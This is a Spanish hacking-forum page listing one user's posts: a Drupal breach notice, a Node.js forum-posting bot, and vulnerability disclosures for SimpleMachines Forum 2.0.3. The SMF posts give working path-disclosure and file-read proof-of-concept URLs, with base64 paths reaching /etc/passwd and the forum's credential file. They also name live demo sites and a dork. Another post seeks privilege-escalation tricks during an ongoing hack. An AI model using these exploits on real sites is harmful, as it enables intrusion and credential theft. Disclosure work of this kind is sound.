elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Únete al Grupo Steam elhacker.NET


  Mostrar Temas
Páginas: 1 ... 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 [20] 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 ... 42
191  Foros Generales / Noticias / Servidores de Drupal Hackeados y Sistemas comprometidos en: 29 Mayo 2013, 23:56 pm
Hace pocos segundos me ha llegado un comunicado oficial por parte de Drupal comentando que sus servidores han sufrido un ataque de intrusión.

Se recomienda a los registrados en el portal a que actualicen sus credenciales de acceso y a los que utilizan el sistema a volver a descargarlo ya que no se sabe aun si hay descargas comprometidas con algún backdoor.

https://drupal.org/news/130529SecurityUpdate

Mensaje original:
Citar
Dear community member,

We respect the privacy of your information, which is why, as a precautionary measure, we are writing to let you know about an incident that involves your personal information. The Drupal.org Security and Infrastructure Teams have discovered unauthorized access to account information on Drupal.org and groups.drupal.org. Information exposed includes usernames, email addresses, and country information, as well as hashed passwords. However, we are still investigating the incident and may learn about other types of information compromised, in which case we will notify you accordingly.

This unauthorized access was made via third-party software installed on the Drupal.org server infrastructure, and was not the result of a vulnerability within the Drupal software itself. This notice applies specifically to user account data stored on Drupal.org and groups.drupal.org, and not to sites running Drupal generally.

We have implemented additional security measures designed to prevent the recurrence of such an attack, and to protect the privacy of our community members.

The next time you attempt to log into your account, you will be required to create a new password.

Below are steps you can take to further protect your personal information online. We encourage you to take preventative measures now to help prevent and detect the misuse of your information.

First, we recommend as a precaution that you change or reset passwords on other sites where you may use similar passwords, even though all passwords on Drupal.org are stored salted and hashed. All Drupal.org passwords are both hashed and salted, although some older passwords on groups.drupal.org were not salted. To make your password stronger:

* Do not use passwords that are simple words or phrases
* Never use the same password on multiple sites or services
* Use different types of characters in your password (uppercase letters, lowercase letters, numbers, and symbols).

Second, be cautious if you receive emails asking for your personal information and be on the lookout for unwanted spam. It is not our practice to request personal information by email. Also, beware of emails that threaten to close your account if you do not take the "immediate action" of providing personal information.

For more information, please review the security announcement and FAQ at https://drupal.org/news/130529SecurityUpdate. If you find any reason to believe that your information has been accessed by someone other than yourself, please contact the Drupal Association immediately, by sending an email to password@association.drupal.org.

We regret that this incident has occurred and want to assure you we are working hard to improve security.

Thank you,
Holly Ross
Drupal Association Executive Director

Fuente: http://whk.elhacker.net/index.php/topic,3195.0.html
192  Programación / Scripting / Echo sin saltos de linea en Windows en: 9 Mayo 2013, 00:09 am
Hola, estoy en un punto crítico de un hackeo y lo unico que tengo acceso por ahora es a ejecutar comandos muy cortos, por ende es muy dificil crear un comando que me eleve privilegios.

Alguien sabe como crear archivos con echo x >> x.bat pero sin que haga saltos de linea? de esa forma podría crear un archivo letra por letra hasta crear un bat que me eleve privilegios, alguien sabe como?
193  Programación / Programación General / Excelente compilador e interpretador online en: 25 Marzo 2013, 22:05 pm
Encontré un sitio WEB muy genial donde puedes probar códigos online sin la necesidad de tener instalado el compilador:

http://www.compileonline.com/

A mi me ha servido muchisimo porque he necesitado testear código php, sql y .net y todo va de lujo :D

Saludos, espero que les sirva.
194  Foros Generales / Foro Libre / Dato curioso, listado completo de 643.550.000 usuarios de google en: 12 Febrero 2013, 17:48 pm
Estaba revisando el sitemap de google.com y me di cuenta que hay un sitemap que apunta al listado de perfiles de google.. pero cual es el limite?

$ wget http://www.gstatic.com/s2/sitemaps/profiles-sitemap.xml

No hagan el intento de ver el xml desde el explorador porque es un archivo muy pesado y desestabilizará sus sistemas, usen wget para descargarlo.

$ cat -n profiles-sitemap.xml
Un total de 200003 Lineas, pero cada 4 lineas hay un archivo comprimido, por lo tanto:

200000 / 4 = 50000 archivos en total a descargar.

Descarguemos uno solo:
wget http://www.gstatic.com/s2/sitemaps/sitemap-00000-of-50000.gz

$ cat -n sitemap-00000-of-50000
Un total de 12871 Lineas, o sea perfiles por archivo.

Ahora, si sacamos la cuenta de la cantidad de lineas por la cantidad de archivos nos debería dar una idea de la cantidad de perfiles:
(50000 x 12871) = 643.550.000 perfiles de google en sitemap.

Ahora la pregunta... son todos?, si vemos la cantidad de archivos a descargar con listados de perfiles nos podemos dar cuenta que es una cifra muy simetrica, o sea que puede ser un límite de perfiles a mostrar o hubo mucha coincidencia.

Que opinan? hay mas?
195  Seguridad Informática / Nivel Web / File Disclosure en SimpleMachines Forum <= 2.0.3 en: 7 Enero 2013, 16:17 pm
Algunos me han preguntado para que sirve esta vulnerabilidad:
http://whk.drawcoders.net/index.php/topic,2792.0.html

Otros dicen que no sirve para nada o que el impacto es nulo.

Pues acá les voy a dejar una demosración:

Hace unos minutos encontré otra falla de seguridad en el panel de administración, especificamente en el lector de archivos de errores.

Normalmente esta sección permite ver los archivos de error y cargar la url via petición GET:
http://test.com/forum/index.php?action=admin;area=logs;sa=errorlog

Si revisamos el código fuente en el archivo /Sources/ManageErrors.php linea 340 veremos lo siguiente:
Código
  1. // Make sure the file we are looking for is one they are allowed to look at
  2.     if (!is_readable($file) || (strpos($file, '../') !== false && ( strpos($file, $boarddir) === false || strpos($file, $sourcedir) === false)))
  3.         fatal_lang_error('error_bad_file', true, array(htmlspecialchars($file)));

Como vemos, SMF ha puesto una traba para que nos imposibilite mostrar archivos que no esten dentro del directorio de smf, nos restringen urls tales como ../../../../foo a traves de esta función:
Código:
strpos($file, '../')

Ahora, vemos que no necesitamos el string "../" para saltar hacia otros directorios, hacemos un bypass de la siguiente manera: /home/?/public_html/forum/file.

La pueba de concepto:
http://test.con/forum/index.php?action=admin;area=logs;sa=errorlog;file=L2V0Yy9wYXNzd2Q=

donde file es /etc/passwd en base64:
Citar
1:     root:x:0:0:root:/root:/bin/bash
2:     bin:x:1:1:bin:/bin:/sbin/nologin
3:     daemon:x:2:2:daemon:/sbin:/sbin/nologin
4:     adm:x:3:4:adm:/var/adm:/sbin/nologin
5:     lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
6:     sync:x:5:0:sync:/sbin:/bin/sync
7:     shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
8:     halt:x:7:0:halt:/sbin:/sbin/halt
9:     mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
10:     news:x:9:13:news:/etc/news:
11:     uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
12:     operator:x:11:0:operator:/root:/sbin/nologin
13:     games:x:12:100:games:/usr/games:/sbin/nologin
14:     gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
15:     ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
16:     nobody:x:99:99:Nobody:/:/sbin/nologin
17:     mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
18:     smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
19:     apache:x:48:48:Apache:/var/www:/sbin/nologin
20:     nscd:x:28:28:NSCD Daemon:/:/sbin/nologin

Ahora... que pasa si queremos obtener un archivo oculto del foro? digamos la conexión de MySQL o la contraseña de un IRC?
Lo primero que necesitamos es saber cual es la ruta absoluta :D asi que hacemos lo siguiente....

Paso 1. Vamos a http://example.com/forumpath/SSI.php?ssi_function=fetchPosts
Obtenemos la ruta:
Citar<blockquote>Warning: Missing argument 1 for ssi_fetchPosts() in /home/spadmin/public_html/SSI.php on line 316</blockquote>

Paso 2. Ahora vamos a hacerle bypass al lector de archivo de errores:
http://test.con/forum/index.php?action=admin;area=logs;sa=errorlog;file=L2hvbWUvc3BhZG1pbi9wdWJsaWNfaHRtbC9TZXR0aW5ncy5waHA=

Donde "L2hvbWUvc3BhZG1pbi9wdWJsaWNfaHRtbC9TZXR0aW5ncy5waHA=" es igual a "/home/spadmin/public_html/Settings.php"

De esta forma un path disclosure puede permitir a un atacante saber en que directorio estan los archivos mas sensibles del sistema y leerlos a gusto y gana.

Saludos.

Fuente:
http://whk.drawcoders.net/index.php/topic,2805.0.html
196  Seguridad Informática / Nivel Web / Path Disclusore en SimpleMachines Forum <= 2.0.3 en: 3 Enero 2013, 16:12 pm
Hola, encontré una falla de seguridad de tipo path disclosure en SMF 2.0.3 que también afecta a todas las versiones anteriores. Acá les dejo el resumen:

Summario:

--------------
Una falla de seguridad permitiría a un atacante conocer el directorio local donde se encuentra el sistema web.

Detalles:
-----------
SSI.php Linea 294:
// Fetch a post with a particular ID. By default will only show if you have permission to the see the board in question - this can be overriden.
function ssi_fetchPosts($post_ids, $override_permissions = false, $output_method = 'echo')
{

$post_id no está definido. Posible solución: ($post_id = false)


Prueba de concepto:
-------
http://example.com/forumpath/SSI.php?ssi_function=fetchPosts
 
Google Dorks:
---------------------
inurl:?index.php?action=help

Demos:
-----------
http://simpleportal.net/SSI.php?ssi_function=fetchPosts
http://www.furgovw.org/SSI.php?ssi_function=fetchPosts
 http://www.teachmideast.com/forum_old/SSI.php?ssi_function=fetchPosts
http://www.slowracing.com/jaxfox/SSI.php?ssi_function=fetchPosts
 http://www.iptv2you.com/board/SSI.php?ssi_function=fetchPosts
http://voceteopr.com/SSI.php?ssi_function=fetchPosts
 http://www.thesilverball.com/SSI.php?ssi_function=fetchPosts
http://othforums.com/SSI.php?ssi_function=fetchPosts
 http://www.skinmod.eu/SSI.php?ssi_function=fetchPosts


Solución temporal:
---------------------

En el archivo SSI.php linea 45 dice:
Código:
$ssi_error_reporting = error_reporting(defined('E_STRICT') ? E_ALL | E_STRICT : E_ALL);

Reemplazar por:
Código:
$ssi_error_reporting = error_reporting(0);


Funciones afectadas:
-----------------------

. fetchMember
. fetchPosts
. fetchGroupMembers
. queryMembers

Fuentes:
http://whk.drawcoders.net/index.php/topic,2792.0.html
http://seclists.org/fulldisclosure/2013/Jan/14
197  Sistemas Operativos / GNU/Linux / duda con wget en: 2 Enero 2013, 17:59 pm
Hola, estoy intentando crear una linea de comandos para hacer un respaldo de mi sitio web, he pasado por varios incinvenientes pero al fin me queda uno solo y es que cuando wget entra a un directorio me guarda por defecto un index.html con su contenido, como puedo decirle a wget que no me haga ese archivo? no me sirve exluir los index.html porque hay algunos index.html que si valen.

Miren...

No vale: http://web.com/dir1/ (este es el indice de archivos a descargar y debo omitir)
Si vale: http://web.com/dir1/index.html

como puedo decirle eso a wget?, lo que sucede es que tengo un +indexes en htaccess que me permite ver todo y los index.html no se interpretan como home en el servidor permitiendome la descarga directa.

Gracias de antemano.
198  Foros Generales / Foro Libre / El mitico hacker captain crunch entrevistado en: 18 Diciembre 2012, 20:19 pm
Alguna ves han escuchado esa mitica historia de alguien que con silbar o emitir un ruido de un pito que venia en una caja de cereales hacia que el teléfono enviara una señal a la central telefónica permitiendo hacer llamadas gratuitas? pues si, fue real hace muchisimos años y acá lo entrevistaron:



Citar
Quien lleve ya un tiempo en esto de la seguridad informática, debe saber quien es John Draper AKA Captain Crunch, uno de los pioneros en testear la seguridad de las centrales telefónicas (el sistema de comunicaciones mas avanzado de su época), quien saltó a la fama después de dar a conocer que el silbato que venia como juguete dentro de las cajas de los cereales Captain Crunch (de aquí su nick) emitía un sonido de 2600 Hz, que permitía utilizar la línea en modo “operador” y entre otras cosas hacer llamadas gratis.

Post original:
http://www.dragonjar.org/entrevista-exclusiva-con-el-captain-crunch-para-la-comunidad-dragonjar.xhtml

me ha gustado muchisimo el video!
199  Programación / Programación General / Robot con inteligencia artificial que me ayuda con el foro (nodejs) en: 14 Diciembre 2012, 16:43 pm
se que a algunos les va a gustar esto :D acabo de hacer un robot que me ayuda a realizar tareas básicas como por ejemplo actualizar las noticias de mi foro :)

Lo entrete es que siempre me responde de diferentes maneras segun su estado de animo que aun no termino de perfeccionar xD

¿Como lo hago en la práctica?

1. Primero que nada tengo un monton de paginas webs y resultados de google noticias en google reader.
2. Desde mi celular con android utilizo un lector de rss y le agregué mi cuenta de google reader (utilizo reader hd)
3. cada ves que leo las noticias y me gusta una la marco simplemente con una estrella y se va a favoritos en mi cuenta de google reader.
4. andres.js se loguea en google reader y sincroniza los items favoritos y los postea de forma automatica en el foro logueandose previamente con un usuario "Andres".
5. despues de marcar con estrella los temas que me gustan abro la consola y ejecuto control.js y le digo que necesito sincronizar las noticias del foro.
6. control.js llama a andres.js para que los sincronize y ya está :D

Paso1 (Agrego mis lecturas rss favoritas a google reader, se sincronizan solas):


Paso 2 (leo google reader desde mi celular en el metro, en la calle, en mi casa y marco la noticia interesante):


Paso 3 (cuando me siento frente a la pc le digo a control que sincronize el foro):


Paso 4 (posteado! :D):


El robot es capaz de sincronizar todas las noticias al mismo tiempo, si tienes 50 marcadas posteará los 50 una por una.

Acá les dejo el código fuente de control por si alguien lo quiere utilizar, también les dejo el de andres que aun me falta perfeccionarlo mas, tambien quiero que tome temas desde mi correo directamente pero eso aun no lo he implementado.

Saludos y a disfrutar :)

control.js:
Código
  1. /* control ia por WHK */
  2. var readline = require('readline');
  3. var exec = require('child_process').exec;
  4.  
  5. /* Configuración inicial */
  6. var nombreRobot = 'Control';
  7. var nivelFelicidad = 2;
  8. var ultimoComando = {
  9. comando : false,
  10. argumentos : {},
  11. esperandoConfirmacion : false
  12. };
  13.  
  14. ///////////////////////////////////////////////////
  15. String.prototype.repeat = function(num){
  16. return new Array(num + 1).join(this);
  17. }
  18.  
  19. function rand(min, max){
  20. return Math.floor(Math.random() * (max - min + 1)) + min;
  21. }
  22.  
  23. /* Expresiones */
  24. var expresiones = {
  25. felicidad_0 : new Array(':\'(', ':(', 'D\':', 'x__x'),
  26. felicidad_1 : new Array(':(', ':-/', 'D:', ':-\\'),
  27. felicidad_2 : new Array(':)', 'u.u', 'o.o', ':3', ':B'),
  28. felicidad_3 : new Array(':D', 'xD', 'xDD'),
  29. asombro : new Array(':O', ':-O', ':-o', ':-0', '0__0', '0___o', 'o__0', '0____0', '0_0'),
  30. pensando : new Array('mmmmm... ', 'eehmmmm... ', 'eehhh... ', 'mmmmmmmmm... ', 'mmmm... ', 'ehmmm... ')
  31. }
  32.  
  33. var disculpas = new Array('disculpa pero', 'sorry pero', 'omg, ', 'sorry');
  34.  
  35. /* Funciones */
  36.  
  37. var varRand = function(arr){
  38. var max = (arr.length - 1);
  39. if(max < 0)
  40. max = 0;
  41. var res = arr[rand(0, max)];
  42. if(res == 'undefined')
  43. res = arr[0];
  44. return res;
  45. }
  46.  
  47. var caritaFelicidad = function(){
  48.  
  49. if(typeof(expresiones['felicidad_' + nivelFelicidad]) == 'undefined')
  50. return ':)';
  51. else
  52. return varRand(expresiones['felicidad_' + nivelFelicidad]);
  53. }
  54.  
  55. var saludo = function(){
  56. var decir = '';
  57. var saludo_a = new Array('hola', 'buenas');
  58. var saludo_b = new Array('k tal', 'como estas', 'como has estado');
  59. var saludo_c = new Array(
  60. '¿en que puedo ayudar?', '¿en que puedo ayudarte?',
  61. '¿que puedo hacer por ti?', 'estoy atento a tus ordenes',
  62. 'estoy preparado para ayudarte', 'cuentame, que necesitas?',
  63. 'dime, que necesitas', 'dime, que hago?',
  64. 'cuentame', 'cuentame, que hago?',
  65. '¿que necesitas?', '¿que debo hacer?'
  66. );
  67.  
  68. decir += varRand(saludo_a);
  69. if(rand(0, 100) < 51) // 50% de probabilidades para que salude con una doble entrada
  70. decir += ' ' + varRand(saludo_b);
  71. decir += ', ' + varRand(saludo_c);
  72. return decir;
  73. }
  74.  
  75. var despedida = function(){
  76. var despedida_a = new Array('nos vemos', 'adios', 'bye', 'chao', 'chau');
  77. var despedida_b = new Array('un abrazo', 'fue un gusto', ':)')
  78. return varRand(despedida_a) + ', ' + varRand(despedida_b);
  79. }
  80.  
  81. var enQueMasPuedoAyudar = function(){
  82. var enQueMasPuedoAyudar_a = new Array(
  83. '¿en que mas te puedo ayudar?', '¿que mas debo hacer?',
  84. '¿en que mas puedo ayudar?', '¿en que mas puedo ayudarte?',
  85. '¿que mas puedo hacer por ti?', 'estoy atento a tus ordenes',
  86. 'que mas necesitas?', 'que mas hago?'
  87. );
  88. return varRand(enQueMasPuedoAyudar_a);
  89. }
  90.  
  91. var yaLoHize = function(){
  92. var yaLoHize_a = new Array('listo!', 'listooo ' + caritaFelicidad(), 'listoooo! ' + caritaFelicidad() + ' ' + caritaFelicidad(), 'yap,');
  93. var yaLoHize_b = new Array('ya terminé', 'terminé', 'ya lo hize.. wiii ' + caritaFelicidad(), 'termineee wii ' + caritaFelicidad(), 'terminé por fin ' + risa());
  94. return varRand(yaLoHize_a) + ' ' + varRand(yaLoHize_b);
  95. }
  96.  
  97. var noEntender = function(){
  98. var noEntender_b = new Array(
  99. 'no entendí nada de lo que me escribiste ' + caritaFelicidad() + ' ' + risa(),
  100. 'no entendí nada de lo que me escribiste ' + risa() + ' ' + caritaFelicidad(),
  101. 'no entendí lo que dijiste :-/',
  102. 'no entendí ' + risa() + ' :p',
  103. 'no entendí xd',
  104. 'no comprendo lo que me quieres decir',
  105. 'no tengo ni idea que me quieres decir',
  106. 'no tengo ni idea de lo que me escribes'
  107. );
  108. var noEntender_c = new Array(
  109. 'me lo puedes explicar con otras palabras?',
  110. 'me lo explicas nuevamente?',
  111. 'escribemelo otraves pero explicate mejor',
  112. 'explicamelo con otras palabras',
  113. 'explicate bien',
  114. 'explicamelo bien nuevamente'
  115. );
  116. var noEntender_d = new Array(
  117. 'porfa',
  118. 'por favor'
  119. );
  120.  
  121. return varRand(disculpas) + ' ' + varRand(noEntender_b) + ', ' + varRand(noEntender_c) + ' ' + varRand(noEntender_d);
  122. }
  123.  
  124. var risa = function(){
  125. var risaTexto = '';
  126. var selectorPrimero = new Array('j', 'h');
  127. /* Prioriza la letra j antes que la h */
  128. if(rand(0, 100) < 15)
  129. selectorPrimero = selectorPrimero[1];
  130. else
  131. selectorPrimero = selectorPrimero[0];
  132.  
  133. var selectorSegundo = 'a';
  134. var cantidadPlaneada = parseInt((parseInt(nivelFelicidad) * 2.5));
  135.  
  136. /* Si todos escribieramos "jajaja" siempre con exactamente 6 letras seriamos robots. */
  137. cantidadPlaneada = rand(cantidadPlaneada - 1, cantidadPlaneada + 2);
  138.  
  139. for(var i = 0; i <= cantidadPlaneada; i++){
  140.  
  141. if(i == 0){ // La primera letra de una risa casi siempre comienza con ja o ha o ka, etc
  142.  
  143. if(rand(0, 100) < 7) // 6% de probabilidades de que no comienze con una letra primaria
  144. risaTexto += selectorSegundo;
  145. else
  146. risaTexto += selectorPrimero;
  147.  
  148. }else{
  149.  
  150. if(i%2 == 0){ // Letras primarias y secundarias intercaladas
  151.  
  152. if(rand(0, 100) < 5) // 9% de probabilidades de que repita la misma letra
  153. risaTexto += selectorSegundo;
  154. else // Letra que normalmente debiera ser escrita
  155. risaTexto += selectorPrimero;
  156.  
  157. }else{
  158. if(rand(0, 100) < 5) // 9% de probabilidades de que repita la misma letra
  159. risaTexto += selectorPrimero;
  160. else // Letra que normalmente debiera ser escrita
  161. risaTexto += selectorSegundo;
  162.  
  163. }
  164.  
  165. }
  166. }
  167.  
  168. /* La ultima letra preferentemente debe ser una letra secundaria */
  169. if(rand(0, 100) < 7) // 6% de probabilidades de que no comienze con una letra primaria
  170. risaTexto += selectorPrimero;
  171. else
  172. risaTexto += selectorSegundo;
  173.  
  174. return risaTexto;
  175. }
  176.  
  177. /* Funciones */
  178. var escribir = function(texto, quien){
  179. texto = '' + texto;
  180. /* Retorna con la primera letra en mayuscula */
  181.  
  182. if(quien == 'control')
  183. console.log(nombreRobot + ' : ' + texto.substr(0,1).toUpperCase() + texto.substr(1, texto.length) + '.');
  184.  
  185. else if(quien == 'usuario')
  186. console.log('Yo' + ' '.repeat(nombreRobot.length - 2) + ' : ' + texto.substr(0,1).toUpperCase() + texto.substr(1, texto.length) + '.');
  187.  
  188. else
  189. console.log(' ' + texto);
  190. }
  191.  
  192. var bashExec = function(cmd, callback){
  193. var codeReturn = 0;
  194. var ex = exec(cmd, function (error, stdout, stderr){});
  195.  
  196. ex.stdout.on('data', function (data){
  197. escribir(data.trim(), 'shell');
  198. });
  199.  
  200. ex.on('exit', function (code){
  201. codeReturn = code;
  202. if(typeof(callback) == 'function')
  203. callback(code);
  204. });
  205. }
  206.  
  207. var interactuar = function(saludar){
  208.  
  209. /* Saluda si corresponde */
  210. if(saludar) // Ha comensado la sesión
  211. escribir(saludo(), 'control');
  212.  
  213. var rl = readline.createInterface({
  214. input: process.stdin,
  215. output: process.stdout
  216. });
  217.  
  218. rl.question('Yo' + ' '.repeat(nombreRobot.length - 2) + ' : ', function(escuchado){
  219. rl.close();
  220.  
  221. if(ultimoComando.esperandoConfirmacion){
  222.  
  223. if(/.*?(^si|asi es|^claro$)/.test(escuchado)){
  224.  
  225. /* Ejecuta el comando */
  226. if(ultimoComando.comando == 'bash'){
  227. escribir('ejecutando: ' + ultimoComando.argumentos.cmd + ' ...', 'control');
  228. bashExec(ultimoComando.argumentos.cmd, function(code){
  229. escribir(yaLoHize(), 'control');
  230. escribir(enQueMasPuedoAyudar(), 'control');
  231. ultimoComando.esperandoConfirmacion = false;
  232. interactuar(false);
  233. });
  234.  
  235. }else{
  236. escribir(disculpas[rand(0, disculpas.length - 1)] + ' no se cual es el comando ' + ultimoComando.comando + ' :-s', 'control');
  237. escribir(enQueMasPuedoAyudar(), 'control');
  238. ultimoComando.esperandoConfirmacion = false;
  239. interactuar(false);
  240. }
  241.  
  242. /* no era lo que se quería */
  243. }else if(/.*?(^no|nop|^err|^lol)/.test(escuchado)){
  244. ultimoComando = {
  245. comando : false,
  246. argumentos : {},
  247. esperandoConfirmacion : false
  248. };
  249.  
  250. var disculparse_a = new Array(
  251. 'he cancelado el comando',
  252. 'ya cancelé el comando'
  253. );
  254. var disculparse_b = new Array(
  255. 'te habia entendido mal',
  256. 'no te habia entendido bien',
  257. 'leí mal',
  258. 'casi la kgo xD'
  259. );
  260. escribir(disculpas[rand(0, disculpas.length - 1)] + ' ' + disculpas_a[rand(0, disculpas_a.length - 1)] + ', ' + disculpas_b[rand(0, disculpas_b.length - 1)], 'control');
  261. interactuar(false);
  262.  
  263. }else{
  264. escribir(noEntender(), 'control');
  265. interactuar(false);
  266. }
  267.  
  268. }else{
  269. /* ¿Que debo hacer y/o decir? */
  270. if(/(bye|chao|adios|a dios|nos vemos|hasta luego|hasta la vista|hasta la prox|buenas noches|me voy|salir|cierrate|arrancate|largate|pierdete|pudrete)/.test(escuchado)){
  271. escribir(despedida(), 'control');
  272.  
  273. }else if(/^(nada|nada mas|en nada|ninguna)/.test(escuchado)){
  274. escribir(despedida(), 'control');
  275.  
  276. }else if(/(andate a la)/.test(escuchado)){
  277. escribir('allá mismo me voy, ' + despedida(), 'control');
  278.  
  279. }else if(/(andate a(.*)tirate|anda a(.*)tirate)/.test(escuchado)){
  280. escribir('allá mismo voy y me tiro ' + risa() + ', ' + despedida(), 'control');
  281.  
  282. }else if(/.*?(actualiza|sincroniza|actualizar|actualices|actualises|actualizes|sincronices|sincronises|sincronizar).*?(rss|noticias|noticia).*?(del|para|sobre|en).*?(foro)/.test(escuchado)){
  283.  
  284. escribir(varRand(Array(
  285. 'entiendo que necesitas que sincronize el rss de google reader con el foro verdad?',
  286. 'necesitas que sincronize el rss de google reader con el foro?',
  287. '¿actualizo las noticias del foro?',
  288. '¿debo actualizar las noticias del foro?',
  289. 'si entendí bién, quieres que actualize las noticias del foro?'
  290. )), 'control');
  291.  
  292. ultimoComando = {
  293. comando : 'bash',
  294. argumentos : { cmd: 'node ./andres.js' },
  295. esperandoConfirmacion : true
  296. };
  297. interactuar(false);
  298.  
  299. }else{
  300. escribir(noEntender(), 'control');
  301. interactuar(false);
  302. }
  303. }
  304.  
  305. delete(escuchado);
  306. });
  307. }
  308.  
  309. interactuar(true);

andres.js:
Código
  1. /* Andres V 1.1 - Revisa y postea temas en SMF 2.0.x de forma automatizada. por WHK */
  2. /* Para no repetir los temas lo que hace es crear un directorio con subcarpetas,
  3.  * una carpeta por cada md5(titulo) de los post, luego se verifica que el directorio exista o si no
  4.  * se posteará y lo creará. Evita la utilización de archivos para ahorrar espacio en disco. */
  5.  
  6.  
  7. var http = require("http");
  8. var https = require("https");
  9. var crypto = require('crypto');
  10. var fs = require('fs');
  11.  
  12. /* Función rápida de MD5 */
  13. md5 = function(str){
  14. var md = crypto.createHash('md5');
  15. md.update(str);
  16. return md.digest('hex');
  17. }
  18.  
  19. /* Configuración */
  20. var sesion = {
  21. SID : '',
  22. LSID : '',
  23. Auth : '',
  24. token : ''
  25. };
  26. var bufferIO = '';
  27. var obNoticias = {};
  28. var nNoticias = 0;
  29. var bufferGoogle = '';
  30.  
  31. var dirNombreDB = 'dbAndres';
  32.  
  33. /* Cuenta gmail para acceder a google reader */
  34. var loginData = {
  35. mail : 'yan.uniko.102@gmail.com',
  36. pass : '*****'
  37. };
  38.  
  39. var foro = {
  40. host : 'whk.drawcoders.com',
  41. port : 80,
  42. pathPhp : '/index.php',
  43. idForo : 61, /* Foro de noticias, id 61 */
  44. user : 'Andres',
  45. pass : '*****',
  46.  
  47. cookies : '' /* No modificar */
  48. }
  49.  
  50. console.log(' - Conectando al servidor de Google Reader ...');
  51.  
  52. https.get('https://www.google.com/accounts/ClientLogin?service=reader&source=reader&Email=' + escape(loginData.mail) + '&Passwd=' + escape(loginData.pass),
  53. function(res){
  54.  
  55. /* esperando un HTTP 200 */
  56. if(res.statusCode == 200){
  57. console.log(' - Obteniendo llaves de acceso ...');
  58.  
  59. /* Procesa el contenido */
  60. res.on('data', function(chunk){
  61. bufferIO += chunk.toString() + '';
  62. }).on('end', function(){
  63.  
  64. bufferIO = bufferIO.trim(); /* Limpia el buffer de cualquier basura extra */
  65.  
  66. /* Autentificado? */
  67. if(bufferIO == 'Error=BadAuthentication'){
  68. console.log(' - Clave de acceso erronea.');
  69. return false;
  70. }
  71.  
  72. var partes = bufferIO.split('\n');
  73. if(!partes.length){
  74. console.log(' - Imposible ingresar, google no ha respondido correctamente.');
  75. return false;
  76. }
  77. bufferIO = ''; /* Limpia la memoria */
  78.  
  79. var linea;
  80. for(_id in partes){
  81. linea = partes[_id].trim().split('=');
  82. if((linea[0] == 'SID') || (linea[0] == 'LSID') || (linea[0] == 'Auth')){
  83. sesion[linea[0]] = linea[1];
  84. }
  85. }
  86.  
  87. console.log(' - Obteniendo token de seguridad ...');
  88. http.get({
  89. host : 'www.google.com',
  90. port : 80,
  91. path : '/reader/api/0/token',
  92. headers: {
  93.                'Authorization': 'GoogleLogin auth=' + sesion['Auth']
  94.            }
  95.  
  96. }, function(res2){
  97.  
  98. /* esperando un HTTP 200 */
  99. if(res2.statusCode == 200){
  100.  
  101. /* Procesa el contenido */
  102. res2.on('data', function(chunk2){
  103. bufferIO += chunk2.toString() + '';
  104. }).on('end', function(){
  105. sesion['token'] = bufferIO;
  106. console.log(' - Acceso concedido!');
  107.  
  108. bufferIO = ''; /* Limpia la memoria */
  109.  
  110. console.log(' - Obteniendo temas ...');
  111. /* ############################ Obtiene las noticias ############################ */
  112. http.get({
  113. host : 'www.google.com',
  114. port : 80,
  115. path : '/reader/api/0/stream/contents/user/-/state/com.google/starred?ck=' + Math.floor(new Date().getTime() / 1000),
  116. headers: {
  117.            'Authorization': 'GoogleLogin auth=' + sesion['Auth']
  118.        }
  119.  
  120. }, function(res3){
  121. /* esperando un HTTP 200 */
  122. if(res3.statusCode == 200){
  123.  
  124. bufferIO = '';
  125. /* Procesa el contenido */
  126. res3.on('data', function(chunk3){
  127. bufferIO += chunk3.toString() + '';
  128. }).on('end', function(){
  129. bufferGoogle = bufferIO; /* Guarda el buffer para futuras auditorias */
  130. try{
  131. eval('obNoticias = ' + bufferIO + ';'); /* Procesa el Json entregado por Google */
  132.  
  133. }catch(e){
  134. console.log(' - Error en el servidor de Google Reader : Json corrupto.');
  135. return false;
  136. }
  137.  
  138. var tmpNoticiasItems = {};
  139.  
  140. for(_id in obNoticias.items){
  141. /* Verifica si ya ha sido posteado para sincronizar y no repostear */
  142. if(!fs.existsSync('./' + dirNombreDB + '/' + md5(obNoticias.items[_id].title))){
  143.  
  144. /* Agrega al objeto */
  145. tmpNoticiasItems[nNoticias] = obNoticias.items[_id];
  146.  
  147. /* Cuenta la cantidad de items */
  148. nNoticias++;
  149. }
  150. }
  151.  
  152. /* Traspasa los items encontrados */
  153. obNoticias.items = tmpNoticiasItems;
  154. delete tmpNoticiasItems;
  155.  
  156. if(nNoticias > 0){
  157. console.log(' - ' + nNoticias + ' Items obtenidos sin sincronizar.');
  158.  
  159. console.log(' - Autentificandose en el foro ...');
  160. /* Obtiene las cookies necesarias para postear en el foro con SMF 2.0 */
  161. var post_data = 'user=' + escape(foro.user) + '&passwrd=' + escape(foro.pass) + '&cookielength=1000';
  162. var post = http.get({
  163. host : foro.host,
  164. port : foro.port,
  165. path : foro.pathPhp + '?action=login2',
  166. method : 'POST',  
  167. headers: {  
  168. 'Content-Type' : 'application/x-www-form-urlencoded',  
  169. 'Content-Length' : post_data.length  
  170. }
  171.  
  172. }, function(res4){
  173. /* esperando un HTTP 302 */
  174. if(res4.statusCode == 302){
  175.  
  176. /* Procesa el contenido */
  177. res2.on('data', function(chunk2){
  178. // Página de error con el formulario de reingreso
  179. }).on('end', function(){
  180. // Página de error con el formulario de reingreso
  181. });
  182.  
  183. var cookiesMatris = {};
  184. var partesCookie = {};
  185. for(_key in res4.headers['set-cookie']){
  186. partesCookie = res4.headers['set-cookie'][_key].split(';');
  187. partesCookie = partesCookie[0].split('=');
  188.  
  189. if(typeof(cookiesMatris[partesCookie[0]]) == 'undefined')
  190. cookiesMatris[partesCookie[0]] = ''; // var? bug nodejs
  191. cookiesMatris[partesCookie[0]] = partesCookie[1].trim();
  192. }
  193.  
  194. /* Parsea las cookies a String */
  195. for(_key in cookiesMatris)
  196. foro.cookies += _key + '=' + cookiesMatris[_key] + '; ';
  197. foro.cookies = foro.cookies.trim();
  198.  
  199. if(foro.cookies.length){
  200.  
